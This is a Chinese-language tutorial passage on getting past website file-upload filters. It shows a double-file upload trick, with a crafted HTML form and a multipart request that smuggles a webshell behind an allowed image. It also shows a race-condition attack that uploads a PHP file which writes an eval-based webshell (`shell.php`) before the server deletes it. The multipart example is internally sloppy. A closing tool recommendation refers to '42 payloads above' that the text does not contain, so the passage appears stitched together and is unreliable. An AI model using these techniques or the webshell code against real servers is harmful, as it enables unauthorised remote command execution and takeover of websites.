本意为上传两个或多个文件去突破,上传点支持多文件上传,但是却只对第一个文件做了过滤。
利用方式:在存在双文件上传漏洞的页面中,查看上传的页面。F12找到上传的post表单,action属性是指定上传检测页面,一般是写的绝对路径,比如:xxx.asp/xxx.php
补全url:https://www.xxx.com/xxx.php(asp)
构造本地post提交表单
POST /test Http/1.0
<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>
利用时只需要修改action的值为指定上传页面即可
第一个文件上传允许的文件类型(.jpg .png .gif等),第二个上传文件是一句话木马或者 WebShell 脚本。这样就可以突破上传限制,成功上传木马到服务器。例如:
POST /test Http/1.0
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.txt"
Content-Type: text/javascript
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.php"
Content-Type: text/javascript
最后上传的文件是 test.php 而非 test.txt,但是取的文件名只取了第一个就会被 Bypass。
条件竞争上传
一些网站上传文件的逻辑时先允许上传任意文件,然后检查上传文件的文件是否包含 WebShell 脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短暂的时间差(因为需要执行检查文件和删除文件的操作),攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。
攻击者需要先上传一个 WebShell 脚本 1.php,1.php 的内容为生成一个新的 WebShell 脚本 shell.php,1.php 写入如下代码
<?php
fputs(fopen("../shell.php", "w"),'<?php @eval($_POST['cmd']); ?>');
?>
当 1.php 上传完成后,客户端立即访问 1.php,则会在服务端当前目录下自动生成 shell.php,这时攻击者就利用了时间差完成了 WebShell 的上传。
推荐工具
- waf-bypass-matrix-2025(已集成 以上 42 条 payload,支持 ModSecurity、AWS WAF、Cloudflare 规则对比)。